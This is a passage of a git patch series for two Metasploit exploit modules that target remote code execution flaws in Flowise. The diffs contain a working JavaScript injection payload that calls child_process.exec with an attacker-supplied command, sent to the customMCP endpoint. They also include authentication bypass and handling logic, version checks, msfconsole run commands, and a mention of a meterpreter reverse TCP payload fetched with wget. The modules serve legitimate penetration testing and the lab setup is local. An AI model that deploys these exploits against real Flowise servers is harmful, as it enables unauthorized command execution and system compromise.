Safe):** ```bash msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3002; check" From 6ab2452153168301cf0a4aa6c7fc4c89d07eff8c Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 19 Nov 2025 22:58:27 +0100 Subject: [PATCH 09/16] Fix documentation inconsistency: update ports for Flowise 3.0.1 (3005) and add Basic Auth service example --- .../multi/http/flowise_custommcp_rce.md | 20 +++++++++++++++---- lib/msf/core/exploit/remote/http/flowise.rb | 3 ++- 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md index fa803f9cc7ba9..a143453486f26 100644 --- a/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md +++ b/documentation/modules/exploit/multi/http/flowise_custommcp_rce.md @@ -44,11 +44,22 @@ services: - PORT=3000 restart: unless-stopped + flowise-2.2.7-basicauth: + image: flowiseai/flowise:2.2.7-patch.1 + container_name: flowise-2.2.7-basicauth + ports: + - "3004:3000" + environment: + - PORT=3000 + - FLOWISE_USERNAME=admin + - FLOWISE_PASSWORD=Test12345! + restart: unless-stopped + flowise-3.0.1: image: flowiseai/flowise:3.0.1 container_name: flowise-3.0.1 ports: - - "3002:3000" + - "3005:3000" environment: - PORT=3000 restart: unless-stopped @@ -59,7 +70,8 @@ Start all instances: `docker compose -f docker-compose-flowise.yml up -d` This will run: - Flowise 2.2.7-patch.1 on port 3000 (unauthenticated, vulnerable) - Flowise 3.0.0 on port 3001 (unauthenticated, vulnerable) -- Flowise 3.0.1 on port 3002 (fixed, not vulnerable) +- Flowise 2.2.7-patch.1 with Basic Auth on port 3004 (credentials required, vulnerable) +- Flowise 3.0.1 on port 3005 (fixed, not vulnerable) ### Testing with Docker Compose @@ -78,9 +90,9 @@ msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0 msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3004; set FLOWISE_USERNAME admin; set FLOWISE_PASSWORD Test12345!; set PAYLOAD cmd/unix/generic; set CMD 'id'; exploit" ``` -**Test 3.0.1 (port 3002, fixed - should return Safe):** +**Test 3.0.1 (port 3005, fixed - should return Safe):** ```bash -msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3002; check" +msfconsole -q -x "use exploit/multi/http/flowise_custommcp_rce; set RHOSTS 127.0.0.1; set RPORT 3005; check" ``` Expected: `CheckCode::Safe("Version 3.0.1 is not vulnerable")` diff --git a/lib/msf/core/exploit/remote/http/flowise.rb b/lib/msf/core/exploit/remote/http/flowise.rb index 1acfa2cc5b50d..650634e1915a8 100644 --- a/lib/msf/core/exploit/remote/http/flowise.rb +++ b/lib/msf/core/exploit/remote/http/flowise.rb @@ -4,7 +4,8 @@ module Msf class Exploit class Remote module HTTP - # This module provides a way of interacting with Flowise installations + # This module provides a way of interacting with Flowise installations. + # It includes methods for version detection, authentication, and sending requests to the customMCP endpoint. # # @example # include Msf::Exploit::Remote::HTTP::Flowise From 3102b31767edf2ee6340b0a9018fc423509891b6 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 19 Nov 2025 22:59:22 +0100 Subject: [PATCH 10/16] Move FETCH_COMMAND WGET to Unix/Linux target DefaultOptions only --- modules/exploits/multi/http/flowise_custommcp_rce.rb | 8 +++++--- modules/exploits/multi/http/flowise_js_rce.rb | 8 +++++--- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index da0524c1c899a..22b111e2720b4 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -39,7 +39,10 @@ def initialize(info = {}) 'Unix/Linux Command', { 'Platform' => %w[unix linux], - 'Arch' => ARCH_CMD + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } # tested with cmd/linux/http/x64/meterpreter_reverse_tcp } ], @@ -56,8 +59,7 @@ def initialize(info = {}) 'DisclosureDate' => '2025-08-14', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'RPORT' => 3000, - 'FETCH_COMMAND' => 'WGET' + 'RPORT' => 3000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], diff --git a/modules/exploits/multi/http/flowise_js_rce.rb b/modules/exploits/multi/http/flowise_js_rce.rb index d9218f78596c5..23cfe8efa9072 100644 --- a/modules/exploits/multi/http/flowise_js_rce.rb +++ b/modules/exploits/multi/http/flowise_js_rce.rb @@ -42,7 +42,10 @@ def initialize(info = {}) 'Unix/Linux Command', { 'Platform' => %w[unix linux], - 'Arch' => ARCH_CMD + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } # tested with cmd/linux/http/x64/meterpreter_reverse_tcp } ], @@ -59,8 +62,7 @@ def initialize(info = {}) 'DisclosureDate' => '2025-09-13', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'RPORT' => 3000, - 'FETCH_COMMAND' => 'WGET' + 'RPORT' => 3000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], From 9624f7561741bf2e61226b27bea17d80cb2a70a1 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Wed, 19 Nov 2025 23:05:01 +0100 Subject: [PATCH 11/16] Simplify code formatting: shorten lines and improve readability --- .../multi/http/flowise_custommcp_rce.rb | 4 +-- modules/exploits/multi/http/flowise_js_rce.rb | 33 ++++++++----------- 2 files changed, 15 insertions(+), 22 deletions(-) diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index 22b111e2720b4..fc02ef29166eb 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -70,8 +70,8 @@ def initialize(info = {}) ) register_options([ - OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if FLOWISE_USERNAME env var is set)', '']), - OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for Basic Auth (required if FLOWISE_PASSWORD env var is set)', '']) + OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', '']), + OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for Basic Auth (required if env var is set)', '']) ]) end diff --git a/modules/exploits/multi/http/flowise_js_rce.rb b/modules/exploits/multi/http/flowise_js_rce.rb index 23cfe8efa9072..296594257b9d0 100644 --- a/modules/exploits/multi/http/flowise_js_rce.rb +++ b/modules/exploits/multi/http/flowise_js_rce.rb @@ -73,9 +73,9 @@ def initialize(info = {}) ) register_options([ - OptString.new('FLOWISE_EMAIL', [false, 'Flowise email for JWT authentication (required for versions >= 3.0.1)', '']), - OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for authentication (JWT for >= 3.0.1, Basic Auth for < 3.0.1)', '']), - OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if FLOWISE_USERNAME env var is set on target)', '']) + OptString.new('FLOWISE_EMAIL', [false, 'Flowise email for JWT auth (required for versions >= 3.0.1)', '']), + OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1)', '']), + OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', '']) ]) end @@ -88,7 +88,9 @@ def check # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.6 (September 12, 2025) # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7 if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.6') - return CheckCode::Appears("(affected: >= 2.2.7-patch.1 and < 3.0.6)#{version >= Rex::Version.new('3.0.1') ? ' (authentication required)' : ' (may work unauthenticated if basic auth not configured)'}") + base_msg = '(affected: >= 2.2.7-patch.1 and < 3.0.6)' + auth_msg = version >= Rex::Version.new('3.0.1') ? ' (auth required)' : ' (may work unauthenticated)' + return CheckCode::Appears("#{base_msg}#{auth_msg}") end CheckCode::Safe("Version #{version} is not vulnerable") @@ -99,34 +101,25 @@ def execute_command(cmd, _opts = {}) if requires_auth if datastore['FLOWISE_EMAIL'].blank? || datastore['FLOWISE_PASSWORD'].blank? - fail_with(Failure::NoAccess, 'Authentication required for this version - set FLOWISE_EMAIL and FLOWISE_PASSWORD') + fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD') end unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) fail_with(Failure::NoAccess, 'Authentication required for this version but login failed') end - end - - if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank? - vprint_status('Basic Auth credentials provided for version < 3.0.1') - end - - if !datastore['FLOWISE_EMAIL'].blank? && !datastore['FLOWISE_PASSWORD'].blank? && !requires_auth - vprint_status('JWT credentials provided, attempting login (may not be needed for versions < 3.0.1)') - unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) + elsif !datastore['FLOWISE_EMAIL'].blank? && !datastore['FLOWISE_PASSWORD'].blank? + flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) || vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') - end - end - - if datastore['FLOWISE_EMAIL'].blank? && datastore['FLOWISE_PASSWORD'].blank? && datastore['FLOWISE_USERNAME'].blank? - vprint_status('No credentials provided, attempting unauthenticated exploit (may work for versions < 3.0.1)') end escaped_cmd = cmd.gsub('\\', '\\\\').gsub('"', '\\"').gsub("\n", '\\n').gsub("\r", '\\r') + js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \ + "cp.exec(\"#{escaped_cmd}\",()=>{});return 1;})()}" + payload_data = { 'loadMethod' => 'listActions', 'inputs' => { - 'mcpServerConfig' => "{x:(function(){const cp = process.mainModule.require(\"child_process\");cp.exec(\"#{escaped_cmd}\",()=>{});return 1;})()}" + 'mcpServerConfig' => js_payload } } From 11c64b8f10875aaff73bdb8059fea9f8eafd16a5 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Thu, 20 Nov 2025 21:55:10 +0100 Subject: [PATCH 12/16] Update lib/msf/core/exploit/remote/http/flowise.rb Co-authored-by: msutovsky-r7 --- lib/msf/core/exploit/remote/http/flowise.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/flowise.rb b/lib/msf/core/exploit/remote/http/flowise.rb index 650634e1915a8..2c4b6db2b9e80 100644 --- a/lib/msf/core/exploit/remote/http/flowise.rb +++ b/lib/msf/core/exploit/remote/http/flowise.rb @@ -95,9 +95,7 @@ def flowise_login(email, password) return true end - if res.code == 401 - fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials') - end + fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials') if res.code == 401 fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}") end From db082959f42c330b7d227ae9bf22e9da4582f3ae Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Thu, 20 Nov 2025 21:55:20 +0100 Subject: [PATCH 13/16] Update modules/exploits/multi/http/flowise_custommcp_rce.rb Co-authored-by: msutovsky-r7 --- modules/exploits/multi/http/flowise_custommcp_rce.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index fc02ef29166eb..a03f74e70d2e1 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -83,9 +83,7 @@ def check # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025) # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7 - if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1') - return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)') - end + return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)') if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1') CheckCode::Safe("Version #{version} is not vulnerable") end From 8cd32c04ea4e756f4d0570951efe6e2e70a429ba Mon Sep 17 00:00:00 2001 From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com> Date: Thu, 20 Nov 2025 21:55:43 +0100 Subject: [PATCH 14/16] Update modules/exploits/multi/http/flowise_js_rce.rb Co-authored-by: msutovsky-r7 --- modules/exploits/multi/http/flowise_js_rce.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/flowise_js_rce.rb b/modules/exploits/multi/http/flowise_js_rce.rb index 296594257b9d0..8a18970b12179 100644 --- a/modules/exploits/multi/http/flowise_js_rce.rb +++ b/modules/exploits/multi/http/flowise_js_rce.rb @@ -103,9 +103,7 @@ def execute_command(cmd, _opts = {}) if datastore['FLOWISE_EMAIL'].blank? || datastore['FLOWISE_PASSWORD'].blank? fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD') end - unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) - fail_with(Failure::NoAccess, 'Authentication required for this version but login failed') - end + fail_with(Failure::NoAccess, 'Authentication required for this version but login failed') unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) elsif !datastore['FLOWISE_EMAIL'].blank? && !datastore['FLOWISE_PASSWORD'].blank? flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) || vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') From 6215da475418aefabd4faff4a827857655f97f32 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 20 Nov 2025 22:31:09 +0100 Subject: [PATCH 15/16] Apply review suggestions: use case/when, improve error handling, simplify code --- lib/msf/core/exploit/remote/http/flowise.rb | 50 ++++++++++--------- .../multi/http/flowise_custommcp_rce.rb | 13 ++--- modules/exploits/multi/http/flowise_js_rce.rb | 37 ++++++++------ 3 files changed, 55 insertions(+), 45 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/flowise.rb b/lib/msf/core/exploit/remote/http/flowise.rb index 2c4b6db2b9e80..3a4716386455f 100644 --- a/lib/msf/core/exploit/remote/http/flowise.rb +++ b/lib/msf/core/exploit/remote/http/flowise.rb @@ -63,14 +63,15 @@ def flowise_requires_auth?(version = nil) # # @param email [String] The email address for authentication # @param password [String] The password for authentication - # @return [Boolean] true if authentication succeeds, false otherwise + # @return [Boolean] true if authentication succeeds + # @raise [Msf::Exploit::Failed] if authentication fails or credentials are invalid # # @example - # if flowise_login('admin@example.com', 'password') - # print_good('Logged in successfully') - # end + # flowise_login('admin@example.com', 'password') def flowise_login(email, password) - return false if email.blank? || password.blank? + if email.blank? || password.blank? + fail_with(Msf::Exploit::Failure::BadConfig, 'Email and password are required for authentication') + end login_url = normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login') res = send_request_cgi({ @@ -88,16 +89,22 @@ def flowise_login(email, password) }.to_json }) - return false unless res + unless res + fail_with(Msf::Exploit::Failure::TimeoutExpired, 'No response from server during login attempt') + end - if res.code == 200 || res.code == 201 + case res.code + when 200, 201 print_good('Authentication successful') return true + when 401 + fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials') + when 404 + # Flowise returns 404 with "User Not Found" when the user doesn't exist + fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - user not found') + else + fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}") end - - fail_with(Msf::Exploit::Failure::NoAccess, 'Authentication failed - invalid credentials') if res.code == 401 - - fail_with(Msf::Exploit::Failure::UnexpectedReply, "Login failed with HTTP #{res.code}") end # Sends a request to the customMCP endpoint @@ -142,28 +149,23 @@ def flowise_send_custommcp_request(payload_data, opts = {}) return true end - if res.code == 200 + case res.code + when 200 vprint_status('Command sent successfully (HTTP 200)') return true - end - - if res.code == 401 + when 401 vprint_error('Authentication required - check credentials') return false - end - - if res.code == 404 + when 404 vprint_error('Endpoint not found - target may not be vulnerable') return false - end - - if res.code == 500 + when 500 vprint_error('Server error - command may have failed to execute') return true + else + vprint_warning("Unexpected HTTP response code: #{res.code}") + return true end - - vprint_warning("Unexpected HTTP response code: #{res.code}") - return true end end end diff --git a/modules/exploits/multi/http/flowise_custommcp_rce.rb b/modules/exploits/multi/http/flowise_custommcp_rce.rb index a03f74e70d2e1..10e41d87fc04d 100644 --- a/modules/exploits/multi/http/flowise_custommcp_rce.rb +++ b/modules/exploits/multi/http/flowise_custommcp_rce.rb @@ -83,7 +83,9 @@ def check # Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025) # Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7 - return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)') if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1') + if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1') + return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)') + end CheckCode::Safe("Version #{version} is not vulnerable") end @@ -107,11 +109,10 @@ def execute_command(cmd, _opts = {}) 'loadMethod' => 'listActions' } - opts = {} - if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank? - opts[:username] = datastore['FLOWISE_USERNAME'] - opts[:password] = datastore['FLOWISE_PASSWORD'] - end + opts = { + username: datastore['FLOWISE_USERNAME'], + password: datastore['FLOWISE_PASSWORD'] + } flowise_send_custommcp_request(payload_data, opts) end diff --git a/modules/exploits/multi/http/flowise_js_rce.rb b/modules/exploits/multi/http/flowise_js_rce.rb index 8a18970b12179..1db5e73ad4ad7 100644 --- a/modules/exploits/multi/http/flowise_js_rce.rb +++ b/modules/exploits/multi/http/flowise_js_rce.rb @@ -37,6 +37,9 @@ def initialize(info = {}) ], 'Platform' => %w[unix linux win], 'Arch' => [ARCH_CMD], + 'Payload' => { + 'BadChars' => "\x0d\x0a" # \r \n + }, 'Targets' => [ [ 'Unix/Linux Command', @@ -98,21 +101,26 @@ def check def execute_command(cmd, _opts = {}) requires_auth = flowise_requires_auth? + email = datastore['FLOWISE_EMAIL'] + password = datastore['FLOWISE_PASSWORD'] + has_credentials = !email.blank? && !password.blank? - if requires_auth - if datastore['FLOWISE_EMAIL'].blank? || datastore['FLOWISE_PASSWORD'].blank? - fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD') - end - fail_with(Failure::NoAccess, 'Authentication required for this version but login failed') unless flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) - elsif !datastore['FLOWISE_EMAIL'].blank? && !datastore['FLOWISE_PASSWORD'].blank? - flowise_login(datastore['FLOWISE_EMAIL'], datastore['FLOWISE_PASSWORD']) || - vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') + if requires_auth && !has_credentials + fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD') end - escaped_cmd = cmd.gsub('\\', '\\\\').gsub('"', '\\"').gsub("\n", '\\n').gsub("\r", '\\r') + if has_credentials + begin + flowise_login(email, password) + rescue Msf::Exploit::Failed + vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') unless requires_auth + raise if requires_auth + end + end + # BadChars ensures \r \n are not in the payload, but we still need to escape \ and " for JavaScript js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \ - "cp.exec(\"#{escaped_cmd}\",()=>{});return 1;})()}" + "cp.exec(\"#{cmd.gsub('\\', '\\\\').gsub('"', '\\"')}\",()=>{});return 1;})()}" payload_data = { 'loadMethod' => 'listActions', @@ -121,11 +129,10 @@ def execute_command(cmd, _opts = {}) } } - opts = {} - if !datastore['FLOWISE_USERNAME'].blank? && !datastore['FLOWISE_PASSWORD'].blank? - opts[:username] = datastore['FLOWISE_USERNAME'] - opts[:password] = datastore['FLOWISE_PASSWORD'] - end + opts = { + username: datastore['FLOWISE_USERNAME'], + password: datastore['FLOWISE_PASSWORD'] + } flowise_send_custommcp_request(payload_data, opts) end From 8702256ec2aaabfc1bc63f7f2a7daed7e447a097 Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Fri, 21 Nov 2025 19:34:33 +0100 Subject: [PATCH 16/16] Remove manual substitution and add BadChars for backslash and quote in flowise_js_rce --- modules/exploits/multi/http/flowise_js_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/flowise_js_rce.rb b/modules/exploits/multi/http/flowise_js_rce.rb index 1db5e73ad4ad7..f3afa2cf63c8c 100644 --- a/modules/exploits/multi/http/flowise_js_rce.rb +++ b/modules/exploits/multi/http/flowise_js_rce.rb @@ -38,7 +38,7 @@ def initialize(info = {}) 'Platform' => %w[unix linux win], 'Arch' => [ARCH_CMD], 'Payload' => { - 'BadChars' => "\x0d\x0a" # \r \n + 'BadChars' => "\x0d\x0a\x5c\x22" # \r \n \ " }, 'Targets' => [ [ @@ -118,9 +118,9 @@ def execute_command(cmd, _opts = {}) end end - # BadChars ensures \r \n are not in the payload, but we still need to escape \ and " for JavaScript + # BadChars ensures \r \n \ " are not in the payload js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \ - "cp.exec(\"#{cmd.gsub('\\', '\\\\').gsub('"', '\\"')}\",()=>{});return 1;})()}" + "cp.exec(\"#{cmd}\",()=>{});return 1;})()}" payload_data = { 'loadMethod' => 'listActions',